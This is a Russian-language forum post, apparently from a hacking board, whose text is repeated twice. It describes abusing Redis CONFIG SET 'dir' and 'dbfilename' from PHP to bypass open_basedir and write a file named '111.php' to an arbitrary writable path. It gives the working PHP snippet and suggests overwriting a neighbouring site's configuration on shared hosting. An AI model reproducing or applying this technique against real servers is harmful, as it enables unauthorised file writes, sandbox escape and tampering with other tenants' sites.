t0ma5
14.04.2016, 21:23
просто размышления
вспомнилась относительно свежая новость
http://antirez.com/news/96
про запись файлов через redis
попробовал применить для обхода open_basedir, хм получилось, правда файл создался из под юзера redis + права по дефолту навесились 600, апач к нему не достучится, да и профит пока хз какой, хотя может быть в каких то случаях можно переписать конфиг соседнего сайта например(redis похоже пофиг что перезаписывать, лишь бы прав хватало на запись)
redis скомпилен модулем к апачу(Redis Version 2.2.4)
пример кода
.SpoilerTarget" type="button">Spoiler
Code:
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
$redis->set('key', 'value');
$redis->config("SET", "dir", "[путь_до_диры]"); /// должны быть как миниму права на запись на уровне файловой системы с учетом юзера из под которого крутится редис
$redis->config("SET", "dbfilename", "111.php");
$redis->bgSave();
$redis->save();
----------------
точнее не как модуль, а апач скомпилен с флагом --enable-redis ну и pecl там для редиса лежит
вспомнилась относительно свежая новость
http://antirez.com/news/96
про запись файлов через redis
попробовал применить для обхода open_basedir, хм получилось, правда файл создался из под юзера redis + права по дефолту навесились 600, апач к нему не достучится, да и профит пока хз какой, хотя может быть в каких то случаях можно переписать конфиг соседнего сайта например(redis похоже пофиг что перезаписывать, лишь бы прав хватало на запись)
redis скомпилен модулем к апачу(Redis Version 2.2.4)
пример кода
.SpoilerTarget" type="button">Spoiler
Code:
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
$redis->set('key', 'value');
$redis->config("SET", "dir", "[путь_до_диры]"); /// должны быть как миниму права на запись на уровне файловой системы с учетом юзера из под которого крутится редис
$redis->config("SET", "dbfilename", "111.php");
$redis->bgSave();
$redis->save();
----------------
точнее не как модуль, а апач скомпилен с флагом --enable-redis ну и pecl там для редиса лежит